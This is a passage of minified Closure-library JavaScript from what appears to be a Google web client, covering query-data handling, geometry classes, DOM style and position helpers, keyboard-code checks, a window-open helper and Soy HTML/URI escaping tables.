b=[];if(A(a))this.od(a)&&(b=fN(b,this.Mb.get(this.Ck(a))));else{a=this.Mb.mc();for(var d=0;d<a.length;d++)b=fN(b,a[d])}return b};x.set=function(a,b){this.Sh();this.Om();a=this.Ck(a);this.od(a)&&(this.Db-=this.Mb.get(a).length);this.Mb.set(a,[b]);this.Db++;return this};x.get=function(a,b){var d=a?this.mc(a):[];return 0<d.length?String(d[0]):b};x.setValues=function(a,b){this.remove(a);0<b.length&&(this.Om(),this.Mb.set(this.Ck(a),gN(b)),this.Db+=b.length)}; x.toString=function(){if(this.Vi)return this.Vi;if(!this.Mb)return c;for(var a=[],b=this.Mb.Le(),d=0;d<b.length;d++)for(var e=b[d],f=iM(e),e=this.mc(e),g=0;g<e.length;g++){var k=f;e[g]!==c&&(k+=ph+iM(e[g]));a.push(k)}return this.Vi=a.join(Vb)};x.$aa=function(){return DR(this.toString())};x.Om=function(){this.Vi=null};x.clone=function(){var a=new xR;a.Vi=this.Vi;this.Mb&&(a.Mb=this.Mb.clone(),a.Db=this.Db);return a};x.Ck=function(a){a=String(a);this.Te&&(a=a.toLowerCase());return a}; x.ME=function(a){a&&!this.Te&&(this.Sh(),this.Om(),ZO(this.Mb,function(a,d){var e=d.toLowerCase();d!=e&&(this.remove(d),this.setValues(e,a))},this));this.Te=a};var IR=function(a,b,d,e){this.Ue=new wR((e||xe)+QG+a);this.$$(b);this.Ef(d)};IR.prototype.$$=function(a){a?this.Ue.Gl(eA,a):this.Ue.Xx(eA);return this};IR.prototype.Ef=function(a){a?this.Ue.Gl(iJ,a):this.Ue.Xx(iJ);return this};IR.prototype.toString=function(){return this.Ue.toString()};var JR=function(a,b,d,e){this.top=a;this.right=b;this.bottom=d;this.left=e};x=JR.prototype;x.clone=function(){return new JR(this.top,this.right,this.bottom,this.left)};x.toString=function(){return tc+this.top+kJ+this.right+zH+this.bottom+Mw+this.left+eD};x.contains=function(a){return this&&a?a instanceof JR?a.left>=this.left&&a.right<=this.right&&a.top>=this.top&&a.bottom<=this.bottom:a.x>=this.left&&a.x<=this.right&&a.y>=this.top&&a.y<=this.bottom:!1}; x.ceil=function(){this.top=Math.ceil(this.top);this.right=Math.ceil(this.right);this.bottom=Math.ceil(this.bottom);this.left=Math.ceil(this.left);return this};x.floor=function(){this.top=Math.floor(this.top);this.right=Math.floor(this.right);this.bottom=Math.floor(this.bottom);this.left=Math.floor(this.left);return this};x.round=function(){this.top=Math.round(this.top);this.right=Math.round(this.right);this.bottom=Math.round(this.bottom);this.left=Math.round(this.left);return this}; x.scale=function(a,b){var d=QL(b)?b:a;this.left*=a;this.right*=a;this.top*=d;this.bottom*=d;return this};var KR=function(a,b,d,e){this.left=a;this.top=b;this.width=d;this.height=e};x=KR.prototype;x.clone=function(){return new KR(this.left,this.top,this.width,this.height)};x.N8=function(){return new JR(this.top,this.left+this.width,this.top+this.height,this.left)};x.toString=function(){return tc+this.left+h+this.top+ia+this.width+UK+this.height+PB}; x.jO=function(a){var b=Math.max(this.left,a.left),d=Math.min(this.left+this.width,a.left+a.width);if(b<=d){var e=Math.max(this.top,a.top);a=Math.min(this.top+this.height,a.top+a.height);if(e<=a)return this.left=b,this.top=e,this.width=d-b,this.height=a-e,!0}return!1};x.contains=function(a){return a instanceof KR?this.left<=a.left&&this.left+this.width>=a.left+a.width&&this.top<=a.top&&this.top+this.height>=a.top+a.height:a.x>=this.left&&a.x<=this.left+this.width&&a.y>=this.top&&a.y<=this.top+this.height}; x.lb=function(){return new AP(this.width,this.height)};x.ceil=function(){this.left=Math.ceil(this.left);this.top=Math.ceil(this.top);this.width=Math.ceil(this.width);this.height=Math.ceil(this.height);return this};x.floor=function(){this.left=Math.floor(this.left);this.top=Math.floor(this.top);this.width=Math.floor(this.width);this.height=Math.floor(this.height);return this}; x.round=function(){this.left=Math.round(this.left);this.top=Math.round(this.top);this.width=Math.round(this.width);this.height=Math.round(this.height);return this};x.scale=function(a,b){var d=QL(b)?b:a;this.left*=a;this.width*=a;this.top*=d;this.height*=d;return this};var T=function(a,b,d){A(b)?LR(a,d,b):jO(b,YL(LR,a))},LR=function(a,b,d){(d=MR(a,d))&&(a.style[d]=b)},MR=function(a,b){var d=FM(b);if(void 0===a.style[d]){var e=(EN?Ou:DN?Up:J?wE:CN?Aq:null)+GM(b);if(void 0!==a.style[e])return e}return d},NR=function(a,b){var d=a.style[FM(b)];return"undefined"!==typeof d?d:a.style[MR(a,b)]||c},OR=function(a,b){var d=LP(a);return d.defaultView&&d.defaultView.getComputedStyle&&(d=d.defaultView.getComputedStyle(a,null))?d[b]||d.getPropertyValue(b)||c:c},PR=function(a, b){return OR(a,b)||(a.currentStyle?a.currentStyle[b]:null)||a.style&&a.style[b]},QR=function(a){return PR(a,ZG)},SR=function(a,b,d){var e,f=DN&&(vN||IN)&&SN(Me);b instanceof yP?(e=b.x,b=b.y):(e=b,b=d);a.style.left=RR(e,f);a.style.top=RR(b,f)},TR=function(a){return new yP(a.offsetLeft,a.offsetTop)},UR=function(a){a=a?LP(a):document;return!J||UN(9)||MP(a).DD()?a.documentElement:a.body},VR=function(a){var b;try{b=a.getBoundingClientRect()}catch(d){return{left:0,top:0,right:0,bottom:0}}J&&a.ownerDocument.body&& (a=a.ownerDocument,b.left-=a.documentElement.clientLeft+a.body.clientLeft,b.top-=a.documentElement.clientTop+a.body.clientTop);return b},WR=function(a){if(J&&!UN(8))return a.offsetParent;var b=LP(a),d=PR(a,ZG),e=d==LA||d==Pv;for(a=a.parentNode;a&&a!=b;a=a.parentNode)if(d=PR(a,ZG),e=e&&d==ZI&&a!=b.documentElement&&a!=b.body,!e&&(a.scrollWidth>a.clientWidth||a.scrollHeight>a.clientHeight||d==LA||d==Pv||d==GH))return a;return null},ZR=function(a){for(var b=new JR(0,Infinity,Infinity,0),d=MP(a),e=d.aa.body, f=d.aa.documentElement,g=d.DO();a=WR(a);)if(!(J&&0==a.clientWidth||EN&&0==a.clientHeight&&a==e||a==e||a==f||PR(a,oG)==RK)){var k=XR(a),p;p=a;if(DN&&!SN(Me)){var q=parseFloat(OR(p,dx));if(YR(p))var t=p.offsetWidth-p.clientWidth-q-parseFloat(OR(p,fx)),q=q+t;p=new yP(q,parseFloat(OR(p,hx)))}else p=new yP(p.clientLeft,p.clientTop);k.x+=p.x;k.y+=p.y;b.top=Math.max(b.top,k.y);b.right=Math.min(b.right,k.x+a.clientWidth);b.bottom=Math.min(b.bottom,k.y+a.clientHeight);b.left=Math.max(b.left,k.x)}e=g.scrollLeft; g=g.scrollTop;b.left=Math.max(b.left,e);b.top=Math.max(b.top,g);d=d.aD();b.right=Math.min(b.right,e+d.width);b.bottom=Math.min(b.bottom,g+d.height);return 0<=b.top&&0<=b.left&&b.bottom>b.top&&b.right>b.left?b:null},aS=function(a,b,d){var e=XR(a),f=XR(b),g=$R(b),k=e.x-f.x-g.left,e=e.y-f.y-g.top,f=b.clientWidth-a.offsetWidth;a=b.clientHeight-a.offsetHeight;var g=b.scrollLeft,p=b.scrollTop;d?(g+=k-f/2,p+=e-a/2):(g+=Math.min(k,Math.max(k-f,0)),p+=Math.min(e,Math.max(e-a,0)));d=new yP(g,p);b.scrollLeft= d.x;b.scrollTop=d.y},XR=function(a){var b,d=LP(a),e=PR(a,ZG);MM(a,jr);var f=DN&&d.getBoxObjectFor&&!a.getBoundingClientRect&&e==Pv&&(b=d.getBoxObjectFor(a))&&(0>b.screenX||0>b.screenY),g=new yP(0,0),k=UR(d);if(a==k)return g;if(a.getBoundingClientRect)b=VR(a),a=MP(d).oi(),g.x=b.left+a.x,g.y=b.top+a.y;else if(d.getBoxObjectFor&&!f)b=d.getBoxObjectFor(a),a=d.getBoxObjectFor(k),g.x=b.screenX-a.screenX,g.y=b.screenY-a.screenY;else{b=a;do{g.x+=b.offsetLeft;g.y+=b.offsetTop;b!=a&&(g.x+=b.clientLeft||0,g.y+= b.clientTop||0);if(EN&&QR(b)==LA){g.x+=d.body.scrollLeft;g.y+=d.body.scrollTop;break}b=b.offsetParent}while(b&&b!=a);if(CN||EN&&e==Pv)g.y-=d.body.offsetTop;for(b=a;(b=WR(b))&&b!=d.body&&b!=k;)g.x-=b.scrollLeft,CN&&b.tagName==vt||(g.y-=b.scrollTop)}return g},cS=function(a,b){var d=bS(a),e=bS(b);return new yP(d.x-e.x,d.y-e.y)},eS=function(a){var b;if(a.getBoundingClientRect)b=VR(a),b=new yP(b.left,b.top);else{b=MP(a).oi();var d=XR(a);b=new yP(d.x-b.x,d.y-b.y)}if(DN&&!SN(12)){var e;J?e=Md:EN?e=je:CN? e=Pd:DN&&(e=Kd);var f;e&&(f=PR(a,e));f||(f=PR(a,TJ));a=f?(a=f.match(dS))?new yP(parseFloat(a[1]),parseFloat(a[2])):new yP(0,0):new yP(0,0);a=new yP(b.x+a.x,b.y+a.y)}else a=b;return a},bS=function(a){H(a);if(1==a.nodeType)return eS(a);var b=RL(a.Iaa),d=a;a.targetTouches?d=a.targetTouches[0]:b&&a.pc.targetTouches&&(d=a.pc.targetTouches[0]);return new yP(d.clientX,d.clientY)},fS=function(a,b,d){if(b instanceof AP)d=b.height,b=b.width;else if(void 0==d)throw Error("missing height argument");a.style.width= RR(b,!0);a.style.height=RR(d,!0)},RR=function(a,b){typeof a==RF&&(a=(b?Math.round(a):a)+rH);return a},hS=function(a){var b;var d=gS;if(PR(a,Yy)!=JF)b=d(a);else{b=a.style;var e=b.display,f=b.visibility,g=b.position;b.visibility=WB;b.position=Pv;b.display=yC;a=d(a);b.display=e;b.position=g;b.visibility=f;b=a}return b},gS=function(a){var b=a.offsetWidth,d=a.offsetHeight,e=EN&&!b&&!d;return z(b)&&!e||!a.getBoundingClientRect?new AP(b,d):(a=VR(a),new AP(a.right-a.left,a.bottom-a.top))},iS=function(a){var b= XR(a);a=hS(a);return new KR(b.x,b.y,a.width,a.height)},jS=function(a){var b=a.style;a=c;iG in b?a=b.opacity:Vp in b?a=b.MozOpacity:lA in b&&(b=b.filter.match(/alpha\(opacity=([\d.]+)\)/))&&(a=String(b[1]/100));return a==c?a:Number(a)},kS=function(a,b){var d=a.style;iG in d?d.opacity=b:Vp in d?d.MozOpacity=b:lA in d&&(d.filter=b===c?c:hw+100*b+Dc)},U=function(a,b){a.style.display=b?c:JF},YR=function(a){return iI==PR(a,Uy)},lS=DN?"MozUserSelect":EN?"WebkitUserSelect":null,mS=function(a,b,d){d=d?null: a.getElementsByTagName(Ic);if(lS){if(b=b?JF:c,a.style[lS]=b,d){a=0;for(var e;e=d[a];a++)e.style[lS]=b}}else if(J||CN)if(b=b?bG:c,a.setAttribute(rK,b),d)for(a=0;e=d[a];a++)e.setAttribute(rK,b)},nS=function(a){return new AP(a.offsetWidth,a.offsetHeight)},oS=function(a,b,d,e){if(/^\d+px?$/.test(b))return parseInt(b,10);var f=a.style[d],g=a.runtimeStyle[d];a.runtimeStyle[d]=a.currentStyle[d];a.style[d]=b;b=a.style[e];a.style[d]=f;a.runtimeStyle[d]=g;return b},pS=function(a,b){var d=a.currentStyle?a.currentStyle[b]: null;return d?oS(a,d,oD,TG):0},qS=function(a){var b;if(J){b=pS(a,vG);var d=pS(a,wG),e=pS(a,xG);a=pS(a,uG);b=new JR(e,d,a,b)}else b=OR(a,vG),d=OR(a,wG),e=OR(a,xG),a=OR(a,uG),b=new JR(parseFloat(e),parseFloat(d),parseFloat(a),parseFloat(b));return b},rS={thin:2,medium:4,thick:6},sS=function(a,b){if((a.currentStyle?a.currentStyle[b+nt]:null)==JF)return 0;var d=a.currentStyle?a.currentStyle[b+Qu]:null;return d in rS?rS[d]:oS(a,d,oD,TG)},$R=function(a){if(J&&!UN(9)){var b=sS(a,cx),d=sS(a,ex),e=sS(a,gx); a=sS(a,ax);return new JR(e,d,a,b)}b=OR(a,dx);d=OR(a,fx);e=OR(a,hx);a=OR(a,bx);return new JR(parseFloat(e),parseFloat(d),parseFloat(a),parseFloat(b))},tS=/[^\d]+$/,dS=/matrix\([0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, [0-9\.\-]+, ([0-9\.\-]+)p?x?, ([0-9\.\-]+)p?x?\)/;var uS=function(a,b,d){b||(b={});var e=d||window;d="undefined"!=typeof a.href?a.href:String(a);a=b.target||a.target;var f=[],g;for(g in b)switch(g){case aL:case UB:case NJ:case oD:f.push(g+ph+b[g]);break;case uJ:case KF:break;default:f.push(g+ph+(b[g]?1:0))}g=f.join(Kc);if(b.noreferrer){if(b=e.open(c,a,g))J&&-1!=d.indexOf(qf)&&(d=rc+d.replace(/'/g,Sb)+rc),b.opener=null,d=rM(d),b.document.write(Tf+d+Ab),b.document.close()}else b=e.open(d,a,g);return b};var vS=function(){this.LR=new VO};E(vS,ZN);var wS=/\/u\/(\d+)\/?/;x=vS.prototype;x.XZ="/s2/lbx";x.ly=Ae;x.mda="//profiles.google.com/";x.Vca=mI;x.A2="9d44b5f2c2d8bc1d85bd24089b4727be";x.A0="profiles";x.ER=null;x.xZ=null;x.FA=null;x.X0=null;x.Ij=null;var xS=function(a){return a.get(nz)},yS=function(a){var b;(b=a.Lg(nz))||(b=new vS,a.Gc(nz,b));return b};x=vS.prototype;x.c7=function(a,b){this.LR.set(a,b);return this};x.X=function(a){return!!this.LR.get(a,!1)};x.Rf=function(a){return YR(a)}; x.JD=function(){var a=this.hda(),b=c;null!=a&&(b=dK+a+se);return this.mda+b};x.ol=function(){return(new IR(c,this.Vca,void 0,this.ly)).toString()};x.Vv=function(){return this.rB||this.ol()};x.rda=function(a){uS(this.JD()+a)};x.tO=function(){return this.Mia||C(this.rda,this)};x.hda=function(){return null!=this.ER?this.ER:this.$ca()};x.$ca=function(a){a=(a=wS.exec(a?SQ(TQ(a)[5]||null):window.top.location.pathname))?parseInt(a[1],10):null;return isNaN(a)?null:a};x.d7=function(a){this.LD=a;return this};var zS=function(a,b){this.VN=this.yQ=null;this.hq=b;this.ek=[];this.taa(a)};E(zS,ZN);x=zS.prototype;x.tm=function(){return this.ek.length?this.ek.pop():this.Ev()};x.Ol=function(a){this.ek.length<this.hq?this.ek.push(a):this.Sz(a)};x.taa=function(a){if(a>this.hq)throw Error("[goog.structs.SimplePool] Initial cannot be greater than max");for(var b=0;b<a;b++)this.ek.push(this.Ev())};x.Ev=function(){return this.yQ?this.yQ():{}};x.Sz=function(a){if(this.VN)this.VN(a);else if(SL(a))if(RL(a.Q))a.Q();else for(var b in a)delete a[b]}; x.A=function(){zS.c.A.call(this);for(var a=this.ek;a.length;)this.Sz(a.pop());delete this.ek};var AS=function(a){if(a.altKey&&!a.ctrlKey||a.metaKey||112<=a.keyCode&&123>=a.keyCode)return!1;switch(a.keyCode){case 18:case 20:case 93:case 17:case 40:case 35:case 27:case 36:case 45:case 37:case 224:case 91:case 144:case 12:case 34:case 33:case 19:case 255:case 44:case 39:case 145:case 16:case 38:case 224:case 92:return!1;case 0:return!DN;default:return 166>a.keyCode||183<a.keyCode}},DS=function(a,b,d,e,f){if(!(J||EN&&SN(af)))return!0;if(vN&&f)return BS(a);if(f&&!e)return!1;QL(b)&&(b=CS(b));if(!d&& (17==b||18==b||vN&&91==b))return!1;if(EN&&e&&d)switch(a){case 220:case 219:case 221:case 192:case 186:case 189:case 187:case 188:case 190:case 191:case 192:case 222:return!1}if(J&&e&&b==a)return!1;switch(a){case 13:return!(J&&UN(9));case 27:return!EN}return BS(a)},BS=function(a){if(48<=a&&57>=a||96<=a&&106>=a||65<=a&&90>=a||EN&&0==a)return!0;switch(a){case 32:case 63:case 107:case 109:case 110:case 111:case 186:case 59:case 189:case 187:case 61:case 188:case 190:case 191:case 192:case 222:case 219:case 220:case 221:return!0; default:return!1}},CS=function(a){if(DN)a=ES(a);else if(vN&&EN)t:switch(a){case 93:a=91;break t}return a},ES=function(a){switch(a){case 61:return 187;case 59:return 186;case 173:return 189;case 224:return 91;case 0:return 224;default:return a}};var FS=function(a,b){b&&this.aea(b)};FS.prototype.aea=function(a){this.JR=a};FS.prototype.xJ=function(){MM(this.JR,jl);return this.JR};var HS=function(a,b,d,e){if(!(RL(b)||b&&typeof b.handleEvent==XA))throw Error(Fo);a=C(GS,null,a,b,e);return JL.setTimeout(a,d||0)},GS=function(a,b,d){RL(b)?$N(d)||b.call(d):b&&typeof b.handleEvent==XA&&!$N(b)&&b.handleEvent.call(b)};var IS=function(a){N.call(this);a=a||MP();this.Wj=a.C(J?s:sC,{style:bH,tabIndex:-1,"aria-hidden":WJ});a=a.aa.body;a.insertBefore(this.Wj,a.firstChild);J?a=this.Wj:(a=this.Wj,a=a.contentWindow||TP(a.contentDocument||a.contentWindow.document));a=this.eJ=a;if(DN){var b=a.document;b.open();b.close()}CO(a,IH,this.El,!1,this);this.CM=this.Wj.offsetWidth};E(IS,N);IS.prototype.A=function(){IS.c.A.call(this);JO(this.eJ,IH,this.El,!1,this);this.eJ=null;DN&&!SN(Me)||aQ(this.Wj);delete this.Wj}; IS.prototype.El=function(){var a=this.Wj.offsetWidth;this.CM!=a&&(this.CM=a,this.dispatchEvent(RA))};var JS=function(a,b,d){this.zR=null;if(a.length!=b.length)return null;this.Cca(a,d);this.Yba=b};JS.prototype.Cca=function(a,b){this.zR=a;for(var d=1;d<a.length;d++)null==a[d]?a[d]=a[d-1]+1:b&&(a[d]+=a[d-1])};JS.prototype.yda=function(a){a=this.ida(a);return 0>a?null:this.Yba[a]};JS.prototype.ida=function(a){for(var b=this.zR,d=0,e=b.length;8<e-d;){var f=e+d>>1;b[f]<=a?d=f:e=f}for(;d<e&&!(a<b[d]);++d);return d-1};var KS=null,LS=function(a){if(44032<=a&&55203>=a)return 16==a%28?10:11;KS||(KS=new JS([0,10,1,2,1,18,95,33,13,1,594,112,275,7,263,45,1,1,1,2,1,2,1,1,56,5,11,11,48,21,16,1,101,7,1,1,6,2,2,1,4,33,1,1,1,30,27,91,11,58,9,34,4,1,9,1,3,1,5,43,3,136,31,1,17,37,1,1,1,1,3,8,4,1,2,1,7,8,2,2,21,8,1,2,17,39,1,1,1,2,6,6,1,9,5,4,2,2,12,2,15,2,1,17,39,2,3,12,4,8,6,17,2,3,14,1,17,39,1,1,3,8,4,1,20,2,29,1,2,17,39,1,1,2,1,6,6,9,6,4,2,2,13,1,16,1,18,41,1,1,1,12,1,9,1,41,3,17,37,4,3,5,7,8,3,2,8,2,30,2,17,39,1,1,1,1, 2,1,3,1,5,1,8,9,1,3,2,30,2,17,38,3,1,2,5,7,1,9,1,10,2,30,2,22,48,5,1,2,6,7,19,2,13,46,2,1,1,1,6,1,12,8,50,46,2,1,1,1,9,11,6,14,2,58,2,27,1,1,1,1,1,4,2,49,14,1,4,1,1,2,5,48,9,1,57,33,12,4,1,6,1,2,2,2,1,16,2,4,2,2,4,3,1,3,2,7,3,4,13,1,1,1,2,6,1,1,14,1,98,96,72,88,349,3,931,15,2,1,14,15,2,1,14,15,2,15,15,14,35,17,2,1,7,8,1,2,9,1,1,9,1,45,3,155,1,87,31,3,4,2,9,1,6,3,20,19,29,44,9,3,2,1,69,23,2,3,4,45,6,2,1,1,1,8,1,1,1,2,8,6,13,128,4,1,14,33,1,1,5,1,1,5,1,1,1,7,31,9,12,2,1,7,23,1,4,2,2,2,2,2,11,3,2,36, 2,1,1,2,3,1,1,3,2,12,36,8,8,2,2,21,3,128,3,1,13,1,7,4,1,4,2,1,203,64,523,1,2,2,24,7,49,16,96,33,3070,3,141,1,96,32,554,6,105,2,30164,4,1,10,33,1,80,2,272,1,3,1,4,1,23,2,2,1,24,30,4,4,3,8,1,1,13,2,16,34,16,1,27,18,24,24,4,8,2,23,11,1,1,12,32,3,1,5,3,3,36,1,2,4,2,1,3,1,69,35,6,2,2,2,2,12,1,8,1,1,18,16,1,3,6,1,5,48,1,1,3,2,2,5,2,1,1,32,9,1,2,2,5,1,1,201,14,2,1,1,9,8,2,1,2,1,2,1,1,1,18,11184,27,49,1028,1024,6942,1,737,16,16,7,216,1,158,2,89,3,513,1,2051,15,40,7,1,1472,1,1,1,53,14,1,57,2,1,45,3,4,2,1, 1,2,1,66,3,36,5,1,6,2,75,2,1,48,3,9,1,1,1258,1,1,1,2,6,1,1,22681,62,4,25042,1,1,3,3,1,5,8,8,2,7,30,4,148,3,8097,26,790017,255],[1,13,1,12,1,0,1,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,1,0,2,0,2,0,2,0,2,1,0,2,0,2,0,2,0,1,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,4,0,5,2,4,2,0,4,2,4,6,4,0,2,5,0,2,0,5,2,4,0,5,2,0,2,4,2,4,6,0,2,5,0,2,0,5,0,2,4,0,5,2,4,2,6,2,5,0,2,0,2,4,0,5,2,0,4,2,4,6,0,2,0,2,4,0,5,2,0,2,4,2,4,6,2,5,0,2,0,5,0,2,0,5,2,4,2,4,6,0,2,0,4,0,5,0,2,4,2,6,2,5,0,2,0,4,0,5,2,0,4,2,4,2,4,2,4,2,6,2,5,0,2, 0,4,0,5,0,2,4,2,4,6,0,2,0,2,0,4,0,5,6,2,4,2,4,2,4,0,5,0,2,0,4,2,6,0,2,0,5,0,2,0,4,2,0,2,0,5,0,2,0,2,0,2,0,2,0,4,5,2,4,2,6,0,2,0,2,0,2,0,5,0,2,4,2,0,6,4,2,5,0,5,0,4,2,5,2,5,0,5,0,5,2,5,2,0,4,2,0,2,5,0,2,0,7,8,9,0,2,0,5,2,6,0,5,2,6,0,5,2,0,5,2,5,0,2,4,2,4,2,4,2,6,2,0,2,0,2,0,2,0,5,2,4,2,4,2,4,2,0,5,0,5,0,4,0,4,0,5,2,4,0,5,0,5,4,2,4,2,6,0,2,0,2,4,2,0,2,4,0,5,2,4,2,4,2,4,2,4,6,5,0,2,0,2,4,0,5,4,2,4,2,6,4,5,0,5,0,5,0,2,4,2,4,2,4,2,6,0,5,4,2,4,2,0,5,0,2,0,2,4,2,0,2,0,4,2,0,2,0,1,2,1,0,1,0,1,0,2,0,2,0,6, 0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,2,0,6,5,2,5,4,2,4,0,5,0,5,0,5,0,5,0,4,0,5,4,6,0,2,0,5,0,2,0,5,2,4,6,0,7,2,4,0,5,0,5,2,4,2,4,2,4,6,0,5,2,4,2,4,2,0,2,0,2,4,0,5,0,5,0,5,0,5,2,0,2,0,2,0,2,0,2,0,5,4,2,4,0,4,6,0,5,0,5,0,5,0,4,2,4,2,4,0,4,6,0,11,8,9,0,2,0,2,0,2,0,2,0,1,0,2,0,1,0,2,0,2,0,2,6,0,4,2,4,0,2,6,0,2,4,0,4,2,4,6,2,0,1,0,2,0,2,4,2,6,0,2,4,0,4,2,4,6,0,2,4,2,4,2,6,2,0,4,2,0,2,4,2,0,4,2,1,2,0,2,0,2,0,2,0,14,0,1,2],!0));return KS.yda(a)};var MS=[Oq,tt,Jn,op,Po,c,ID,cK,zE],NS={"":1,n:Math.pow(1024,-3),u:Math.pow(1024,-2),m:1/1024,k:1024,K:1024,M:Math.pow(1024,2),G:Math.pow(1024,3),T:Math.pow(1024,4),P:Math.pow(1024,5)},OS=function(a){return 32>=a||4096<=a&&(8192<=a&&8198>=a||8200<=a&&8203>=a||5760==a||6158==a||8232==a||8233==a||8287==a||12288==a)},PS=J&&SN(8),QS=EN?"<wbr></wbr>":CN?"&shy;":PS?"&#8203;":"<wbr>";var RS={Jla:!0},SS={Lla:!0},TS={Ila:!0},US={Kla:!0},VS=function(){throw Error("Do not instantiate directly");};VS.prototype.cj=null;VS.prototype.toString=function(){return this.content};var YS=function(a,b,d,e){H(b,Ys);a.innerHTML=WS(b(d||XS,void 0,e))},$S=function(a,b,d,e){H(a,Ys);e=(e||MP()).createElement(m);a=WS(a(b||XS,void 0,d));b=a.match(ZS);H(!b,Vt,b&&b[0],a);e.innerHTML=a;return 1==e.childNodes.length&&(a=e.firstChild,1==a.nodeType)?a:e},WS=function(a){if(!SL(a))return String(a);if(a instanceof VS){if(a.we===RS)return KM(a.content);if(a.we===US)return rM(a.content)}JM(Zs+a);return pL},ZS=/^<(body|caption|col|colgroup|head|html|tr|td|tbody|thead|tfoot)>/i,XS={};var aT=function(a,b){null!=a&&this.append.apply(this,arguments)};x=aT.prototype;x.Kk=c;x.set=function(a){this.Kk=c+a};x.append=function(a,b,d){this.Kk+=a;if(null!=b)for(var e=1;e<arguments.length;e++)this.Kk+=arguments[e];return this};x.clear=function(){this.Kk=c};x.toString=function(){return this.Kk};var bT=function(a){if(null!=a)switch(a.cj){case 1:return 1;case -1:return-1;case 0:return 0}return null},cT=function(){VS.call(this)};E(cT,VS);cT.prototype.we=RS;var V=function(a){return null!=a&&a.we===RS?(H(a.constructor===cT),a):dT(String(String(a)).replace(eT,fT),bT(a))},gT=function(){VS.call(this)};E(gT,VS);gT.prototype.we={Xda:!0};gT.prototype.cj=1;var hT=function(){VS.call(this)};E(hT,VS);hT.prototype.we={Xda:!0};var iT=function(){VS.call(this)};E(iT,VS);iT.prototype.we=SS; iT.prototype.cj=1;var jT=function(){VS.call(this)};E(jT,VS);jT.prototype.we=TS;jT.prototype.cj=1;var kT=function(){VS.call(this)};E(kT,VS);kT.prototype.we={Hla:!0};kT.prototype.cj=1;var lT=function(a,b){this.content=String(a);this.cj=null!=b?b:null};E(lT,VS);lT.prototype.we=US; var mT=function(a){function b(){}b.prototype=a.prototype;return function(a,e){var f=new b;f.content=String(a);void 0!==e&&(f.cj=e);return f}},nT=function(a){function b(){}b.prototype=a.prototype;return function(a){var e=new b;e.content=String(a);return e}},oT=function(a,b){return new lT(a,b)},dT=mT(cT);nT(gT);mT(hT);nT(iT);nT(jT);nT(kT); var pT=function(a,b,d,e){return $S(a,b,e,new KP(d))},qT=function(a,b){function d(){}d.prototype=a;var e=new d,f;for(f in b)e[f]=b[f];return e},rT=function(a){function b(){}b.prototype=a.prototype;return function(a){if(!String(a))return c;var e=new b;e.content=String(a);return e}},sT=function(a){function b(){}b.prototype=a.prototype;return function(a,e){if(!String(a))return c;var f=new b;f.content=String(a);void 0!==e&&(f.cj=e);return f}}(cT);rT(gT);rT(iT);var tT=rT(jT);rT(kT); var uT=/^<(?:area|base|br|col|command|embed|hr|img|input|keygen|link|meta|param|source|track|wbr)\b/,zT=function(a,b){if(!b)return String(a).replace(vT,c).replace(wT,hc);var d=String(a).replace(/\[/g,Xb),e=[],d=d.replace(vT,function(a,d){if(d&&(d=d.toLowerCase(),b.hasOwnProperty(d)&&b[d])){var f=e.length;e[f]=(a.charAt(1)===se?sf:rf)+d+rh;return gv+f+r}return c}),d=String(d).replace(xT,fT),f=yT(e),d=d.replace(/\[(\d+)\]/g,function(a,b){return e[b]});return d+f},yT=function(a){for(var b=[],d=0,e=a.length;d< e;++d){var f=a[d];if(f.charAt(1)===se){for(var g=b.length-1;0<=g&&b[g]!=f;)g--;0>g?a[d]=c:(a[d]=b.slice(g).reverse().join(c),b.length=g)}else uT.test(f)||b.push(sf+f.substring(1))}return b.reverse().join(c)},AT=function(a){return null!=a&&a.we===RS?(H(a.constructor===cT),a=zT(a.content),String(a).replace(xT,fT)):String(a).replace(eT,fT)},ET=function(a){if(null!=a&&a.we===SS)return H(a.constructor===iT),String(a).replace(BT,CT);a=String(a);DT.test(a)?a=a.replace(BT,CT):(JM(qi,[a]),a=Mb);return a}, FT=function(a){return null!=a&&a.we===US?(JM(zt,[a.content]),pL):a},GT={"\x00":"&#0;",'"':nc,"&":ac,"'":Wb,"<":hc,">":fc,"\t":"&#9;","\n":"&#10;","\x0B":"&#11;","\f":"&#12;","\r":"&#13;"," ":"&#32;","-":"&#45;","/":"&#47;","=":"&#61;","`":"&#96;","\u0085":"&#133;","\u00a0":"&#160;","\u2028":"&#8232;","\u2029":"&#8233;"},fT=function(a){return GT[a]},HT={"\x00":"%00","\u0001":"%01","\u0002":"%02","\u0003":"%03","\u0004":"%04","\u0005":"%05","\u0006":"%06","\u0007":"%07","\b":"%08","\t":"%09","\n":"%0A", "\x0B":"%0B","\f":"%0C","\r":"%0D","\u000e":"%0E","\u000f":"%0F","\u0010":"%10","\u0011":"%11","\u0012":"%12","\u0013":"%13","\u0014":"%14","\u0015":"%15","\u0016":"%16","\u0017":"%17","\u0018":"%18","\u0019":"%19","\u001a":"%1A","\u001b":"%1B","\u001c":"%1C","\u001d":"%1D","\u001e":"%1E","\u001f":"%1F"," ":"%20",'"':"%22","'":Sb,"(":"%28",")":"%29","<":"%3C",">":"%3E","\\":"%5C","{":"%7B","}":"%7D","\u007f":"%7F","\u0085":"%C2%85","\u00a0":"%C2%A0","\u2028":"%E2%80%A8","\u2029":"%E2%80%A9","\uff01":"%EF%BC%81", "\uff03":"%EF%BC%83","\uff04":"%EF%BC%84","\uff06":"%EF%BC%86","\uff07":"%EF%BC%87","\uff08":"%EF%BC%88","\uff09":"%EF%BC%89","\uff0a":"%EF%BC%8A","\uff0b":"%EF%BC%8B","\uff0c":"%EF%BC%8C","\uff0f":"%EF%BC%8F","\uff1a":"%EF%BC%9A","\uff1b":"%EF%BC%9B","\uff1d":"%EF%BC%9D","\uff1f":"%EF%BC%9F","\uff20":"%EF%BC%A0","\uff3b":"%EF%BC%BB","\uff3d":"%EF%BC%BD"},CT=function(a){return HT[a]},eT=/[\x00\x22\x26\x27\x3c\x3e]/g,xT=/[\x00\x22\x27\x3c\x3e]/g,BT=/[\x00- \x22\x27-\x29\x3c\x3e\\\x7b\x7d\x7f\x85\xa0\u2028\u2029\uff01\uff03\uff04\uff06-\uff0c\uff0f\uff1a\uff1b\uff1d\uff1f\uff20\uff3b\uff3d]/g, 